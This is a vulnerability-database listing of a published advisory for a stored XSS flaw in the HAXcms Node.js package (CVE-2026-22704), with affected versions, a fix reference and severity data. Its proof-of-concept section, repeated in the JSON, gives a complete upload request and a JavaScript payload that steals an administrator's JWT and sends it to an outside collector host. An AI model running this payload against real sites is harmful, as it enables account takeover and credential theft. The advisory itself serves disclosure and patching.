GHSA-3FM2-XFQ7-7778

Vulnerability from github – Published: 2026-01-13 15:07 – Updated: 2026-01-13 15:09
VLAI?
Summary
HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover
Details

Summary

Stored XSS Leading to Account Takeover

Details

The Exploit Chain: 1.Upload: The attacker uploads an .html file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.

Vulnerability recurrence:

image

Then we test access to this html

image

You can obtain other people's identity information

image

PoC

POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128

------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"

true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain

// This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); });

Processing your request...

------WebKitFormBoundary7MA4YWxkTrZu0gW--

Impact

The attacker now possesses a valid administrator JWT and can take full control of the application.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@haxtheweb/haxcms-nodejs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.6"
            },
            {
              "fixed": "25.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T15:07:57Z",
    "nvd_published_at": "2026-01-10T07:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nStored XSS Leading to Account Takeover\n\n### Details\nThe Exploit Chain:\n1.Upload: The attacker uploads an `.html` file containing a JavaScript payload.\n2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.\n3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request.\n4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.\n5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.\n6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.\n\nVulnerability recurrence:\n\n\u003cimg width=\"1198\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3\" /\u003e\n\nThen we test access to this html\n\n\u003cimg width=\"1433\" height=\"1019\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253\" /\u003e\n\nYou can obtain other people\u0027s identity information\n\n\u003cimg width=\"1082\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275\" /\u003e\n\n\n### PoC\nPOST /system/api/saveFile?siteName=yu\u0026site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ\u0026jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1\nHost: 192.168.1.72:8080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: close\nContent-Length: 1128\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"bulk-import\"\n\ntrue\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-upload\"; filename=\"files/pwn1116.html\"\nContent-Type: text/plain\n\n\u003cscript\u003e\n  // This version adds headers to make the request look more legitimate.\n  fetch(\u0027/system/api/refreshAccessToken\u0027, {\n    method: \u0027POST\u0027,\n    headers: {\n      \u0027Content-Type\u0027: \u0027application/json\u0027\n    },\n    body: \u0027{}\u0027 // Sending an empty JSON object body\n  })\n  .then(response =\u003e {\n    if (!response.ok) {\n        throw new Error(\u0027Network response was not ok \u0027 + response.statusText);\n    }\n    return response.json();\n  })\n  .then(data =\u003e {\n    var stolenJWT = data.jwt;\n    var attackerUrl = \u0027https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=\u0027 + stolenJWT;\n    fetch(attackerUrl);\n  })\n  .catch(error =\u003e {\n    var attackerUrl = \u0027https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=\u0027 + error.message;\n    fetch(attackerUrl);\n  });\n\u003c/script\u003e\n\u003ch1\u003eProcessing your request...\u003c/h1\u003e\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.",
  "id": "GHSA-3fm2-xfq7-7778",
  "modified": "2026-01-13T15:09:35Z",
  "published": "2026-01-13T15:07:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-3fm2-xfq7-7778"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22704"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/haxcms-nodejs/commit/317a8ae29f88be389f7cfeffaef416957122d97e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/haxcms-nodejs/releases/tag/v25.0.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haxtheweb/issues"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…